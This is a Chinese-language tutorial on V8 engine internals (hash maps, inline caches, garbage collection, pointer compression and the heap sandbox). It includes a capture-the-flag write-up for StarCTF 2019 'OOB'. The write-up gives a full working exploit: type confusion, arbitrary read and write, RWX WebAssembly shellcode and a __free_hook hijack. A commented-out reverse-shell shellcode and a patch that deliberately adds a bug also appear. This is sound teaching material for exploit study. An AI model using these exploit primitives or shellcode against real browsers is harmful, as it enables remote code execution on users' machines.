  TVARIABLE(IntPtrT, occupancy);
  TVARIABLE(OrderedHashMap, table_var, table);
  {
    // Check we have enough space for the entry.
    number_of_buckets = SmiUntag(CAST(UnsafeLoadFixedArrayElement(
        table, OrderedHashMap::NumberOfBucketsIndex())));

    STATIC_ASSERT(OrderedHashMap::kLoadFactor == 2);
    const TNode<WordT> capacity = WordShl(number_of_buckets.value(), 1);
    const TNode<IntPtrT> number_of_elements = SmiUntag(
        CAST(LoadObjectField(table, OrderedHashMap::NumberOfElementsOffset())));
    const TNode<IntPtrT> number_of_deleted = SmiUntag(CAST(LoadObjectField(
        table, OrderedHashMap::NumberOfDeletedElementsOffset())));
    occupancy = IntPtrAdd(number_of_elements, number_of_deleted);
    GotoIf(IntPtrLessThan(occupancy.value(), capacity), &store_new_entry);

    // We do not have enough space, grow the table and reload the relevant
    // fields.
    CallRuntime(Runtime::kMapGrow, context, receiver);
    table_var =
        LoadObjectField<OrderedHashMap>(CAST(receiver), JSMap::kTableOffset);
    number_of_buckets = SmiUntag(CAST(UnsafeLoadFixedArrayElement(
        table_var.value(), OrderedHashMap::NumberOfBucketsIndex())));
    const TNode<IntPtrT> new_number_of_elements = SmiUntag(CAST(LoadObjectField(
        table_var.value(), OrderedHashMap::NumberOfElementsOffset())));
    const TNode<IntPtrT> new_number_of_deleted = SmiUntag(CAST(LoadObjectField(
        table_var.value(), OrderedHashMap::NumberOfDeletedElementsOffset())));
    occupancy = IntPtrAdd(new_number_of_elements, new_number_of_deleted);
    Goto(&store_new_entry);
  }

之后调用 StoreOrderedHashMapNewEntry 将新的 Entry 添加到 elements 中。

  BIND(&store_new_entry);
  // Store the key, value and connect the element to the bucket chain.
  StoreOrderedHashMapNewEntry(table_var.value(), key, value,
                              entry_start_position_or_hash.value(),
                              number_of_buckets.value(), occupancy.value());
  Return(receiver);

StoreOrderedHashMapNewEntry 的函数接口如下:

void CollectionsBuiltinsAssembler::StoreOrderedHashMapNewEntry(
    const TNode<OrderedHashMap> table, const TNode<Object> key,
    const TNode<Object> value, const TNode<IntPtrT> hash,
    const TNode<IntPtrT> number_of_buckets, const TNode<IntPtrT> occupancy)

首先计算出将要添加的 Entry 的位置,这里获取的 entry_start 是相对于 HashTable 的偏移。

  const TNode<IntPtrT> entry_start = IntPtrAdd(
      IntPtrMul(occupancy, IntPtrConstant(OrderedHashMap::kEntrySize)),
      number_of_buckets);

之后依次写入 keyvaluebucket_entry ,即整个 Entry 的结构。

  UnsafeStoreFixedArrayElement(
      table, entry_start, key, UPDATE_WRITE_BARRIER,
      kTaggedSize * OrderedHashMap::HashTableStartIndex());
  UnsafeStoreFixedArrayElement(
      table, entry_start, value, UPDATE_WRITE_BARRIER,
      kTaggedSize * (OrderedHashMap::HashTableStartIndex() +
                     OrderedHashMap::kValueOffset));
  UnsafeStoreFixedArrayElement(
      table, entry_start, bucket_entry,
      kTaggedSize * (OrderedHashMap::HashTableStartIndex() +
                     OrderedHashMap::kChainOffset));

之后更新 bucketnumber of elements

  // Update the bucket head.
  UnsafeStoreFixedArrayElement(
      table, bucket, SmiTag(occupancy),
      OrderedHashMap::HashTableStartIndex() * kTaggedSize);

  // Bump the elements count.
  const TNode<Smi> number_of_elements =
      CAST(LoadObjectField(table, OrderedHashMap::NumberOfElementsOffset()));
  StoreObjectFieldNoWriteBarrier(table,
                                 OrderedHashMap::NumberOfElementsOffset(),
                                 SmiAdd(number_of_elements, SmiConstant(1)));

delete

delete(key)JSMap 中用来删除键值对的方法,具体接口定义如下:

TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) 

首先 TryLookupOrderedHashTableIndex 查找 key 对应的 Entry ,这个的具体实现前面的 set 已经提到过了。

  TryLookupOrderedHashTableIndex<OrderedHashMap>(
      table, key, &entry_start_position_or_hash, &entry_found, &not_found);

如果没有找到则返回 False

  BIND(&not_found);
  Return(FalseConstant());

如果找到了 Entry 就将 Entry 中的 keyvalue 修改为 Hole

  BIND(&entry_found);
  // If we found the entry, mark the entry as deleted.
  StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
                         TheHoleConstant(), UPDATE_WRITE_BARRIER,
                         kTaggedSize * OrderedHashMap::HashTableStartIndex());
  StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
                         TheHoleConstant(), UPDATE_WRITE_BARRIER,
                         kTaggedSize * (OrderedHashMap::HashTableStartIndex() +
                                        OrderedHashMap::kValueOffset));

之后将 number_of_elements 减一,number_of_deleted 加一。

 // Decrement the number of elements, increment the number of deleted elements.
  const TNode<Smi> number_of_elements = SmiSub(
      CAST(LoadObjectField(table, OrderedHashMap::NumberOfElementsOffset())),
      SmiConstant(1));
  StoreObjectFieldNoWriteBarrier(
      table, OrderedHashMap::NumberOfElementsOffset(), number_of_elements);
  const TNode<Smi> number_of_deleted =
      SmiAdd(CAST(LoadObjectField(
                 table, OrderedHashMap::NumberOfDeletedElementsOffset())),
             SmiConstant(1));
  StoreObjectFieldNoWriteBarrier(
      table, OrderedHashMap::NumberOfDeletedElementsOffset(),
      number_of_deleted);

之后判断是否满足 number_of_elements + number_of_elements < number_of_buckets 则调用 shrinkelements 中的 Hole 清除。最后返回 True

  const TNode<Smi> number_of_buckets = CAST(
      LoadFixedArrayElement(table, OrderedHashMap::NumberOfBucketsIndex()));

  // If there fewer elements than #buckets / 2, shrink the table.
  Label shrink(this);
  GotoIf(SmiLessThan(SmiAdd(number_of_elements, number_of_elements),
                     number_of_buckets),
         &shrink);
  Return(TrueConstant());

  BIND(&shrink);
  CallRuntime(Runtime::kMapShrink, context, receiver);
  Return(TrueConstant());

Inline Cache

分析网站

原理

对于确定的 map,我们可以知道 name property 所存储在 properties array 的位置。如果我们经过 JIT 生成的汇编里,函数所访问的 obj 的 map ,总是被我们缓存(cache) 的 map ,那么我们访问的 obj.X 的偏移永远是固定的。由此我们可以直接从 properties array 的固定偏移处取出我们想要的值 obj.X ,而不需要重新根据 map 检索 obj.X 所对应的偏移,从而可以加速。

对象的隐藏类(Hidden Class)

由于 JavaScript 对象没有类型信息,几乎所有 JS 引擎都采用隐藏类(Hidden Class/Shape/Map等)来描述对象的布局信息,用以在虚拟机内部区分不同对象的类型,从而完成一些基于类型的优化。

V8 对 JavaScript 对象都使用 HeapObject 来描述和存储,每一种 JavaScript 对象都是 HeapObject 的子类,而每个 HeapObject 都用 Map 来描述对象的布局。对象的 Map 描述了对象的类型,即成员数目、成员名称、成员在内存中的位置信息等。

隐藏类变迁(Map Transition)

因为JavaScript是高度动态的程序设计语言,对象的成员可以被随意动态地添加、删除甚至修改类型。因此,对象的隐藏类在程序的运行过程中可能会发生变化,V8内部把这种变化叫隐藏类变迁(Map Transition)。
在这里插入图片描述

类型反馈向量(type feedback vector)

对于某代码语句比如 this.x=x ,比较上次执行到该语句时缓存的 Map 和对象当前的 Map 是否相同,如果相同则执行对应的 IC-Hit 代码,反之执行 IC-Miss 代码。V8 会在 Point 函数对象上添加一个名 type_feedback_vector 的数组成员,对于该函数中的每处可能产生 IC 的代码,Point 对象中的 type_feedback_vector 会缓存上一次执行至该语句时对象的 Map 和对应的 IC-Hit 代码(在 V8 内部称为 IC-Hit Handler )。简单来说,type_feedback_vector 缓存了 Map 和与之对应的 IC-Hit handler ,这样 IC 相关的逻辑简化为只需要通过访问 type_feedback_vector 就可以判断是否 IC Hit 并执行对应的 IC-Hit Handler 。

IC状态机

为了描述 V8 中 IC 状态的变化情况,本节将以状态机的形式描述 V8 中最常见 IC 种类的状态变化情况。V8 中最常用的 IC 分为五个状态,如图所示,初始为 uninitialized 状态,当发生一次 IC-Miss 时会变为 pre-monomorphic 态,再次 IC-Miss 会进入 monomorphic 态,如果继续 IC-Miss ,则会进入 polymorphic 状态。进入 polymorphic 之后如果继续 IC-Miss 3 次,则会进入megamorphic 态,并最终稳定在 megamophic 态。
在这里插入图片描述

  • 初始为 uninitialized 状态,当发生一次 IC-Miss 时(由于 type_feedback_vector 为空,一定会 IC-Miss)会变为 pre-monomorphic 态。IC-Miss Handler 会分析出此时 obj 的 Map 中不包含添加的属性,因此会添加新成员,接着会发生 Map Transition 。由于考虑到大部分函数可能只会被调用一次,因此 V8 的策略是发生第一次 IC-Miss 时,并不会缓存此时的 map ,也不会产生 IC-Hit handler 。
  • 再次 IC-Miss 会进入 monomorphic 态。由于 type_feedback_vector 仍然为空,因此会发生第二次 IC-Miss ,并将IC状态修改为 monomorphic ,此次 IC-Miss Hanlder 除了发生 Map Transition 之外,还会编译生成 IC-Hit Handler ,并将 map 和 IC Hit Handler 缓存到 type_feedback_vector 中。由于此次 IC-Miss Handler 需要编译 IC-Hit Handler 的操作比较耗时,因此第二次执行是最慢的。
  • 第三次如果和上一次属性相同则 type_feedback_vector 不为空,且此时缓存的 map 与此时 obj 的 Map 也是一致的,因此会直接调用 IC-Hit Handler 来添加成员并进行 Map transition 。由于此次无需对 map 进行分析,也无需编译 IC-Hit Handler ,因此此时执行效率比前两次都高。
  • 在 polymorphic 态 IC-Hit 时,需要对缓存进行线性查找。
  • IC状态太多比如到达 megamorphic 态,此时 Map 和 IC-Hit Handler 便不会再缓存在 obj 的 type_feedback_vector 中,而是存储在固定大小的全局 hashtable 中,如果 IC 态多于 hashtable 的大小,则会对之前的缓存进行覆盖。Megamorphic 是性能最低的 IC-Hit ,因为需要每次对 hashtable 进行查找,但是 megamorphic ic hit 性能仍然优于 IC-Miss 。

GC

垃圾回收是⼀种在 V8 中单独管理 JavaScript 对象(称为 HeapObject )的机制,其功能是检测废弃的对象并⾃动释放它们。

GC 的空间划分

GC 有两种主要的 Generation 。根据存活时间分为 Young 和 Old Generation 。除此之外,还有⼀些区域不属于任何⼀个 Generation ,它被写为 Other ,但是其实是 Large Object Space 。在源代码中,有些地方包含 Old Generation 的 large object space 的描述,但是基本上认为它们是不同的东西。
在这里插入图片描述

Yong Generation

New Space

新创建的 object 除了code object,map object 和 large object 外都被保留在这里,并且受到 GC 管理。

GC 使用的算法是 Cheney’s algorithm ,在源码里被称为 Scavenge 。为了使用这种算法将 Young Generation 分为 From Space 和 To Space 两个区域。

Cheney’s algorithm

每⼀个对象最开始被放到 To Space 。

当 memory exhaustion(空间用完)时候,GC 被调用。主线程的操作( Javascript 执行的线程)被暂停。交换To Space 和 From Space 。
在这里插入图片描述
之后会把存活的对象复制到 To Space ,然后再次分配之前未分配完成的 obj-e 。这里判断存活 obj 的方法是从各种各样的 root objects (例如 global objects, built-in objects, local objects within the scope of living 等)和从 Old Space 可以访问的 object (Write Barrier mechanism)沿指针遍历出所有存活的 obj 。
在这里插入图片描述
之后,每次GC发生时,都会重复上面这⼀系列的流程。

Old Generation

old space

长期存活对象存放的区域,例如 New Space 中,在两次 GC 之后存活下来的 object ,具体参考 Heap::ShouldBePromoted()

old space 发生 GC 的频率比 new space 少,因此如果⼀个 object 被移动到 old space ,该 object 不会受到 GC 更改 layout 的影响。

code space

仅适用于 JIT 的 code object ,由于 code object 是 RWX ,因此它从一开始就保留在此区域中,由于它是JIT代码,因此不仅要读取(R)写⼊(W),还要执行(X),因此 memory permissions 与其他的地方不同。

map space

仅存放 Map object ,出于 GC 效率的考虑,Map object 从一开始就位于此区域。

Mark-Sweep-Compact

old generation 的 GC 算法是 Mark-Sweep-Compact ,即标记-清除-整理算法。

Other

即 Large Object Space ,用于存放 600KB 或更大的 object 的区域。它由 mmap 直接分配,如果有多个存放区域,则使用链表进行管理。它不在GC中移动。

Write Barrier

写屏障是⼀种减少时间开销的机制。

当 GC 想回收新生代中的内容的时候,如果此时有一个对象,且这个对象恰好被一个老年代所引用,那么这个时候,如果想回收这个对象,就需要去遍历老年代,这样开销比较大。

所以就引入了记录集,在更新对象的时候有个记录集,这个记录集内记录了所有老年代指向新生代的情况,即记录集里保存的实际上是指向老年代对象的指针。

在新生代中触发 GC 的时候,会将记录集里的老年代对象也当成根对象⼀样,扫描记录集,查看记录集里老年代对象引用的目标对象,进而更新引用的目标对象,再将发出引用的对象的指针更新到目标空间了。
在这里插入图片描述
在分代垃圾回收中,为了将老年代对象记录到记录集⾥,我们引⼊了写入屏障(write barrier)的概念。
在更新对象间的指针时候检查如下三点:

  • 发出引用的对象是不是老年代对象
  • 指针更新后的引用的目标对象是不是新生代对象
  • 发出引用的对象是否还没有被记录到记录集中

如果这些条件都满足,就将老年代对象 obj 写入到记录集里。

例题:StarCTF 2019 OOB

附件下载链接
v8 commit:6dc88c191f5ecc5389dc26efa3ca0907faef3598

漏洞分析

观察 oob.diff 发现增加了如下功能,即任意数组可以以浮点数类型越界读写 8 字节。

BUILTIN(ArrayOob){
    uint32_t len = args.length();
    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
    Handle<JSReceiver> receiver;
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
            isolate, receiver, Object::ToObject(isolate, args.receiver()));
    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
    uint32_t length = static_cast<uint32_t>(array->length()->Number());
    if(len == 1){
        //read
        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
    }else{
        //write
        Handle<Object> value;
        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
        elements.set(length,value->Number());
        return ReadOnlyRoots(isolate).undefined_value();
    }
}

泄露 Map

调试发现 JSArray 在内存中的结构如下图所示:
在这里插入图片描述因此可以通过 oob 泄露 Map 地址。

var obj = {};
var float_array = [.1];
var object_array = [obj];
var float_array_map = float_array.oob();
var object_array_map = object_array.oob();

print("[*] float array map: " + hex(d2u(float_array_map)));
print("[*] object array map: " + hex(d2u(object_array_map)));

类型混淆

通过 oob 修改 Map 构造实现浮点数数组和 objec t数组的类型混淆,进而构造 addressOffakeObj 两个利用原语。

  • addressOf:传入一个 object , 返回它的地址,实现对任意 object 的地址泄漏。
  • fakeObj:传入一个地址,我们把这个地址指向的内存当做一个 object , 并将它返回。实现对任意 object 的伪造。
function addressOf(obj) {
    float_array.oob(object_array_map);
    float_array[0] = obj;
    float_array.oob(float_array_map);
    return d2u(float_array[0]);
}

function fakeObj(addr) {
    object_array.oob(float_array_map);
    object_array[0] = u2d(addr | 1n);
    object_array.oob(object_array_map);
    return object_array[0];
}

任意地址读写

任意地址读写如果用 DoubleArray 实现会有如下问题:

  • 在数组进行元素访问时,它会和这个堆的基地址做一个 mask 的操作,保证了这个 elements 指针指向的内存段时属于 v8 的堆的范围。
  • 在对伪造的浮点数数组进行操作的时候,触发了收集 Inline Cache 的函数,导致 SIGTRAP 。
  • DoubleArray 构造的任意地址读写只能读写 elements + 0x10 ,并且还会访问 [elements, elements + 0x10) 范围内的数据,而如果是在 rwx 段写 shellcode 需要从起始位置开始写,因此不能用 DoubleArray 构造的任意地址读写完成。

因此这里需要使用 ArrayBufferDataView 来构造任意地址读写。这里介绍两种方法:

  • 伪造 DoubleArray 进行一次任意地址写修改一个 ArrayBufferBackingStore 指向另一个 ArrayBufferBackingStore ,之后每次任意地址读写都可以先用一个 ArrayBuffer 改另一个 ArrayBufferBackingStore 然后利用另一个 ArrayBuffer 进行任意地址读写。 在这里插入图片描述
    需要注意的是伪造的 DoubleArrayLength 字段是一个 Smi 类型,需要右移 32 位。

    var ab1 = new ArrayBuffer(0x8);
    var ab2 = new ArrayBuffer(0x1000);
    var dv1 = new DataView(ab1);
    var dv2 = new DataView(ab2);
    var ab1_bs_addr = addressOf(ab1) + 0x20n;
    var ab2_bs_addr = addressOf(ab2) + 0x20n;
    
    var float_array_mem = [
        float_array_map,
        0,
        u2d(ab1_bs_addr - 0x10n),
        u2d(0x100000000n),
    ];
    
    fake_float_array = fakeObj(addressOf(float_array_mem) + 0x30n);
    fake_float_array[0] = u2d(ab2_bs_addr - 1n);
    
    function arbitrary_address_read(address) {
        dv1.setBigUint64(0, address, true);
        return dv2.getBigUint64(0, true);
    }
    
    function arbitrary_address_write(address, value) {
        dv1.setBigUint64(0, address, true);
        return dv2.setBigUint64(0, value, true);
    }
    
  • 首先在 DoubleArray 中构造一个 fake ArrayBuffer,之后就可以通过 DoubleArray 修改 BackingStore 指针来进行任意地址读写。
    在这里插入图片描述

    var fake_ab_mem = [
        u2d(0n),                    // Map
        u2d(0n),                    // Propertries
        u2d(0n),                    // Elements
        u2d(0x1000n),               // ByteLength
        u2d(0n),                    // BackingStore
        u2d(0n),                    // Map
        u2d(0x1900042319080808n),   // type
    ];
    
    var fake_ab_addr = addressOf(fake_ab_mem) + 0x58n;
    fake_ab_mem[0] = u2d(fake_ab_addr + 0x28n);
    var fake_ab = fakeObj(fake_ab_addr);
    var dv = new DataView(fake_ab);
    
    function arbitrary_address_read(address) {
        fake_ab_mem[4] = u2d(address);
        return dv.getBigUint64(0, true);
    }
    
    function arbitrary_address_write(address, value) {
        fake_ab_mem[4] = u2d(address);
        return dv.setBigUint64(0, value, true);
    }
    

劫持程序执行流程

利用 WebAssembly 写 shellcode

利用 WebAssembly 开辟 rwx 段。

let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128,
    128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128,
    0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0,
    0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109,
    97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65,
    42, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
let f = wasm_mod.exports.main;

上面这段 WebAssembly 代码对应的 wat 代码如下,是通过这个网站反编译得到的。

(module
  (type $t0 (func (result i32)))
  (func $main (export "main") (type $t0) (result i32)
    (i32.const 42))
  (table $T0 0 funcref)
  (memory $memory (export "memory") 1))

利用任意地址读泄露 rwx 段基址。

var rwx_mem_addr = arbitrary_address_read(addressOf(wasm_mod) - 1n + 0x88n);
print("[*] rwx mem addr: " + hex(rwx_mem_addr));

写入 shellcode 并调用 WebAssembly 对应函数执行 shellcode 。

var shellcode = [
    0x636c6163782fb848n,
    0x73752fb848500000n,
    0x8948506e69622f72n,
    0x89485750c03148e7n,
    0x3ac0c748d23148e6n,
    0x4944b84850000030n,
    0x48503d59414c5053n,
    0x485250c03148e289n,
    0x00003bc0c748e289n,
    0x0000000000050f00n
]


// var shellcode=[
// 0x6a5f026a9958296an,
// 0xb9489748050f5e01n,
// 0x0100007f39300002n,
// 0x6a5a106ae6894851n,
// 0x485e036a050f582an,
// 0x75050f58216aceffn,
// 0x2fbb4899583b6af6n,
// 0x530068732f6e6962n,
// 0xe689485752e78948n,
// 0x000000000000050fn]
//nc -lvvp 12345

for (let i = 0; i < shellcode.length; i++) {
    arbitrary_address_write(rwx_mem_addr + BigInt(i) * 8n, shellcode[i]);
}

f();

劫持 __free_hook

通过构造函数例如 Array 可以泄露 ELF 加载基址,进而通过 got 表泄露 libc 加载基址。
利用任意地址写修改 __free_hooksystem 函数地址,之后 print 输出要执行的命令,在释放写有命令的堆块的时候实现任意命令执行。
在这里插入图片描述

var array_addr = addressOf(Array);
var elf_base = arbitrary_address_read(arbitrary_address_read(array_addr - 1n + 0x30n) + 0x41n) - 0xf8f680n;
print("[*] elf base: " + hex(elf_base));
var libc_base = arbitrary_address_read(elf_base + 0x1271b90n) - 0x7b0c0n;
print("[*] libc base: " + hex(libc_base));

var system_addr = libc_base + 0x4f420n;
var free_hook_addr = libc_base + 0x3ed8e8n;
arbitrary_address_write(free_hook_addr, system_addr);

print("/snap/bin/gnome-calculator");

exp

function gc() {
    for (let i = 0; i < 0x10; i++) {
        new Array(0x100000);
    }
}

let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
    data_view.setFloat64(0, value);
    return data_view.getBigUint64(0);
}

function u2d(value) {
    data_view.setBigUint64(0, value);
    return data_view.getFloat64(0);
}

function hex(val) {
    return '0x' + val.toString(16).padStart(16, "0");
}


var obj = {};
var float_array = [.1];
var object_array = [obj];
var float_array_map = float_array.oob();
var object_array_map = object_array.oob();

print("[*] float array map: " + hex(d2u(float_array_map)));
print("[*] object array map: " + hex(d2u(object_array_map)));

function addressOf(obj) {
    float_array.oob(object_array_map);
    float_array[0] = obj;
    float_array.oob(float_array_map);
    return d2u(float_array[0]);
}

function fakeObj(addr) {
    object_array.oob(float_array_map);
    object_array[0] = u2d(addr | 1n);
    object_array.oob(object_array_map);
    return object_array[0];
}

var fake_ab_mem = [
    u2d(0n),            //Map
    u2d(0n),            //Propertries
    u2d(0n),            //Elements
    u2d(0x1000n),       //ByteLength
    u2d(0n),            //BackingStore
    u2d(0n),
    u2d(0x1900042319080808n),//type
];

var fake_ab_addr = addressOf(fake_ab_mem) + 0x58n;
fake_ab_mem[0] = u2d(fake_ab_addr + 0x28n);
var fake_ab = fakeObj(fake_ab_addr);
var dv = new DataView(fake_ab);

function arbitrary_address_read(address) {
    fake_ab_mem[4] = u2d(address);
    return dv.getBigUint64(0, true);
}

function arbitrary_address_write(address, value) {
    fake_ab_mem[4] = u2d(address);
    return dv.setBigUint64(0, value, true);
}

let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128,
    128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128,
    0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0,
    0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109,
    97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65,
    42, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
let f = wasm_mod.exports.main;
var rwx_mem_addr = arbitrary_address_read(addressOf(wasm_mod) - 1n + 0x88n);

print("[*] rwx mem addr: " + hex(rwx_mem_addr));

var shellcode = [
    0x9090909090909090n,
    0x636c6163782fb848n,
    0x73752fb848500000n,
    0x8948506e69622f72n,
    0x89485750c03148e7n,
    0x3ac0c748d23148e6n,
    0x4944b84850000030n,
    0x48503d59414c5053n,
    0x485250c03148e289n,
    0x00003bc0c748e289n,
    0x0000000000050f00n
]

// var shellcode=[
// 0x6a5f026a9958296an,
// 0xb9489748050f5e01n,
// 0x0100007f39300002n,
// 0x6a5a106ae6894851n,
// 0x485e036a050f582an,
// 0x75050f58216aceffn,
// 0x2fbb4899583b6af6n,
// 0x530068732f6e6962n,
// 0xe689485752e78948n,
// 0x000000000000050fn]
//nc -lvvp 12345

for (let i = 0; i < shellcode.length; i++) {
    arbitrary_address_write(rwx_mem_addr + BigInt(i) * 8n, shellcode[i]);
}

f();

Heap Sandbox

指针压缩

ArrayBuffer 为例,正常情况下的内存分布如下图所示:
在这里插入图片描述
在 V8 高版本中会基于数据 4GB 对齐所有指针高 32 位相同而只保留低 32 位而指针(类似于32位下的 HeapObject 指针),而基址存放在 r13 寄存器指向的内存中,从而节省空间。
在这里插入图片描述
因此 ArrayBuffer 的内存分布图如下图所示:
在这里插入图片描述

在地址泄露的时候可以将指针覆盖成 0 这样就可以泄露基址附近的数据,从而泄露基址。

沙箱

指针压缩的方法虽然在一定程度上把任意地址读写限制在了 4GB 的 V8 堆的范围内,然而 V8 的某些对象比如 ArrayBuffer 中还存在不指向 V8 对象的指针(例如示例中的 BackingStorageArrayBufferExtension),这些指针不会被指针压缩所以依然可以实现任意地址读写,而沙箱的作用就是限制这些指针的任意地址读写范围。

在开启沙箱后 ArrayBuffer 的内存分布图如下图所示:
在这里插入图片描述
沙箱的具体实现方式有两种:

  • 一种是类似上图中的 ArrayBufferExtension 指针。在开启沙箱后,ArrayBufferExtension 存储的不再是堆地址,而是一个叫做 External Pointer Table 的表的下标,而在这个表的对应索引处存放着 ArrayBufferExtension 对应结构的地址和类型。这样攻击者就只能访问 ArrayBufferExtension 中存放的信息对应的结构而不能实现任意地址读写且不易实现类型混淆。
    在这里插入图片描述

  • 另一种类似上图中的 BackingStorage。在开启沙箱后 BackingStorage 指针存放的是 BackingStorage 地址与沙箱基址偏移(40bit)左移 24bit 的结果。这个方式和指针压缩相同(实际上基址也相同),只不过访问范围变为 1TB 。
    在这里插入图片描述

因此沙箱的整体结构如下图所示:
在这里插入图片描述
实际的调试结果如下图所示,注意 rwx 段不在沙箱中,因此利用 ArrayBuffer 无法将 shellcode 写入 rwx 段。
在这里插入图片描述

沙箱绕过

利用立即数写 shellcode

这里以一个 demo 为例介绍这种沙箱绕过方法。

附件下载链接

首先搭建环境:

git reset --hard bd5b3ae5422e9fa1d0f7a281bbdf709e6db65f62
export DEPOT_TOOLS_UPDATE=0
export PATH=$PATH:~/tools/depot_tools/
gclient sync -D 
git apply ./sandbox.diff
./build/install-build-deps.sh
./tools/dev/gm.py x64.release

其中 sandbox.diff 文件内容如下:

diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 49fe48d698..2944eb9edb 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -395,6 +395,25 @@ BUILTIN(ArrayPush) {
   return *isolate->factory()->NewNumberFromUint((new_length));
 }
 
+BUILTIN(ArrayLen) {
+  uint32_t len = args.length();
+  if(len != 2) return ReadOnlyRoots(isolate).undefined_value();
+
+  Handle<JSReceiver> receiver;
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+      isolate, receiver, Object::ToObject(isolate, args.receiver()));
+  Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+
+  Handle<Object> argLen;
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+      isolate, argLen, Object::ToNumber(isolate, args.at<Object>(1)));
+  uint32_t newLen = static_cast<uint32_t>(argLen->Number());
+
+  auto raw = *array;
+  raw.set_length(Smi::FromInt(newLen));
+  return ReadOnlyRoots(isolate).undefined_value();
+}
+
 namespace {
 
 V8_WARN_UNUSED_RESULT Object GenericArrayPop(Isolate* isolate,
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 859b5cee9a..a16a7d5ca1 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -392,6 +392,7 @@ namespace internal {
   CPP(ArrayPrototypeGroupToMap)                                                \
   /* ES6 #sec-array.prototype.push */                                          \
   CPP(ArrayPush)                                                               \
+  CPP(ArrayLen)                                                                \
   TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel)                         \
   /* ES6 #sec-array.prototype.shift */                                         \
   CPP(ArrayShift)                                                              \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 5888a5cdab..5d13eac799 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1880,6 +1880,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtin::kArrayPush:
       return t->cache_->kPositiveSafeInteger;
+    case Builtin::kArrayLen:
+      return Type::Receiver();
     case Builtin::kArrayPrototypeReverse:
     case Builtin::kArrayPrototypeSlice:
       return Type::Receiver();
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 7c7b917502..550b25d4ba 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1808,6 +1808,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           0, false);
     SimpleInstallFunction(isolate_, proto, "push", Builtin::kArrayPrototypePush,
                           1, false);
+    SimpleInstallFunction(isolate_, proto, "len", Builtin::kArrayLen,
+                          2, false);
     SimpleInstallFunction(isolate_, proto, "reverse",
                           Builtin::kArrayPrototypeReverse, 0, false);
     SimpleInstallFunction(isolate_, proto, "shift",

可以看出,这里在 v8 中添加了一个可以修改 JSArray 长度属性的操作 len

这里先实现一下 address of 和 fake object 两个利用原语,具体方法可以是越界写数组元素或伪造 Map

这里有几个需要注意的点:

  • 通过修改 Map 使得 ObjectArray 变为 DoubleArray 后可以以 double 形式读取到数组中的元素但是不能以 double 形式写入值,即数组的读和写的类型检查不同。如果想要能以 double 形式写入值需要伪造 elementMap
  • 应当先触发 JIT 再实现两个利用原语,因为 JIT 会导致前面构造的 Array 的各个结构的相对位置发生变化。
  • 通过 GC 将 Array 置于 Old Space 后 elememt 成员放到最后,不容易利用。
  • 由于指针压缩导致成员大小是 4 字节,而 DoubleArray 是 8 字节写,因此需要注意尽量不要覆盖其它成员。

首先有如下函数:

function shellcode() {
    return [
        1.930800574428816e-246,
        1.9710610293119303e-246,
        1.9580046981136086e-246,
        1.9533830734556562e-246,
        1.961642575273437e-246,
        1.9399842868403466e-246,
        1.9627709291878714e-246,
        1.9711826272864685e-246,
        1.9954775598492772e-246,
        2.000505685241573e-246,
        1.9535148279508375e-246,
        1.9895153917617124e-246,
        1.9539853963090317e-246,
        1.9479373016495106e-246,
        1.97118242283721e-246,
        1.95323825426926e-246,
        1.99113905582155e-246,
        1.9940808572858186e-246,
        1.9537941682504095e-246,
        1.930800151635891e-246,
        1.932214185322047e-246
    ];
}

for (let i = 0; i < 0x40000; i++) {
    shellcode();
}

上面这种形式的函数 JIT 后的汇编代码如下,显然其中的立即数是可以控制的,并且可以通过堆内任意地址写修改 code_entry_point 指向汇编代码中的立即数,因此可以像这道题一样在立即数中写 shellcode 。
在这里插入图片描述
